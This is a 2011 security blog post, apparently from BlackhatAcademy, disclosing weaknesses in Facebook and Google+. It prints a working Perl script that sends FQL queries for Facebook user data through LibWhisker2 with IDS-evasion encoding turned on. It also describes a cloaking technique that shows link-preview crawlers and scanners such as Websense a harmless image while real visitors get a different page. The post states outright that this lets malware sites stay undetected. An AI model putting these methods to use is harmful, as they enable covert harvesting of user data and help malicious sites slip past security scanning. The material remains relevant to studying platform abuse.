Facebook,google+ Vulnerable to bypass content restrictions

Facebook is now vulnerable to bypass content restrictions on links and posts put on a user's public wall. Facebook was notified of these vulnerabilities on July 31st, 2011. To date (October 4, 2011) Facebook has yet to do anything about this So BlackhatAcademy decided to release it in public.

FQL

Simply requiring an API key for privileged queries does not protect facebook from people arbitrarily obtaining one. Facebook was even so kind as to give a reference of tables and columns in the documentation for FQL. To access Facebook's FQL API, it takes only a well-formed HTTP request with an embedded API key to return a valid XML object. FQL Does not allow the use of JOINS, however it is not needed as everything is thoroughly documented. Attackers can misuse this during the creation of a malicious facebook application or directly on the FQL development api page for information gathering. The implementation below uses LibWhisker2 for IDS evasion via session splicing.

#!/usr/bin/perl
use warnings;
use XML::Simple;
use LW2;
use Getopt::Std;
my %opts;
getopts('q:',\%opts);
my $query = $opts{q} if defined $opts{q};
$query = "SELECT pic_big FROM user WHERE uid=6666666" unless defined $opts{q};
my $ref = fqlQuery($query);
foreach my $parent (sort keys %{$ref}) {
    if (%{$ref->{$parent}}) {
        print "$parent: \n";
        foreach my $key (sort keys %{$ref->{$parent}}) {
            if (%{$ref->{$parent}->{$key}}) {
           print "\t$key : \n";
               foreach my $mojo (sort keys %{$ref->{$parent}->{$key}}) {
                   print "\t\t$mojo : ";
                   print $ref->{$parent}->{$key}->{$mojo};
           print "\n";
           }
            } else {   print "\t$key : ";
               print $ref->{$parent}->{$key};
               print "\n";
            }
        }
    } else {
        print "$parent : " . $ref->{$parent} . "\n";
    }
}
sub fqlQuery {
    my $q = shift;
    $q =~ s/ /%20/g;
    my $link = "http://api.facebook.com/method/fql.query?query=$q";
    my $text = download($link,"api.facebook.com");
    my $ref  = XMLin($text);
    return($ref);
}
sub download
{
    my $uri = shift;
    my $try = 5;
    my $host = shift;
    my %request;
    my %response;
    LW2::http_init_request(\%request);
    $request{'whisker'}->{'method'} = "GET";
    $request{'whisker'}->{'host'} = $host;
    $request{'whisker'}->{'uri'} = $uri;
    $request{'whisker'}->{'encode_anti_ids'} = 9;
    $request{'whisker'}->{'user-agent'} = "";
    LW2::http_fixup_request(\%request);
    if(LW2::http_do_request(\%request, \%response)) {
        if($try < 5) {
            print "Failed to fetch $uri on try $try. Retrying...\n";
            return undef if(!download($uri, $try++));
        }
        print "Failed to fetch $uri.\n";
        return undef;
    } else {
        return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});
    }
}

Content Forgery

While most major sites that allow link submission are vulnerable to this method, sites including websense, google+, and facebook make the requests easily identifiable. These sites send an initial request to the link in order to store a mirror thumbnail of the image, or a snapshot of the website being linked to. In doing so, many use a custom user agent, or have IP addresses that resolve to a consistant domain name. Facebook IP addresses resolve to tfbnw.net, also set a custom user agent of "facebookexternalhit". Google+ (Also notified Jul. 31st and guilty of reasonable care) again follows suit and utilizes "Feedfetcher-Google" as their user agent. Knowing this, we can easily filter out requests coming from these websites, and offer up a legitimate image to be displayed on their site, while redirecting or displaying a completely different page to anyone that follows the links. Facebook's recent partnership with websense is laughable, due to websense's "ACE" security scanner that is just as easily identified, by using gethostbyaddr in order to resolve the IP back to websense.com. Utilizing this technique, would allow an overwhelming number of malware sites to remain undetected to their automatic site analysis. Other places like digg.com either spoof a user agent to look like normal traffic, or forward the client's user agent, which makes it more difficult to catch every one of their requests. Fortunately, digg.com only requests the link once, prior to submitting the link to the world. This allows attackers to serve up a legitimate image until that initial request clears our server, and then replace it with a less than honest file. We have affectionately named this vulnerability class Cross-Site Content Forgery.

For more info follow this LInk:
http://www.blackhatacademy.org/security101/index.php?title=Facebook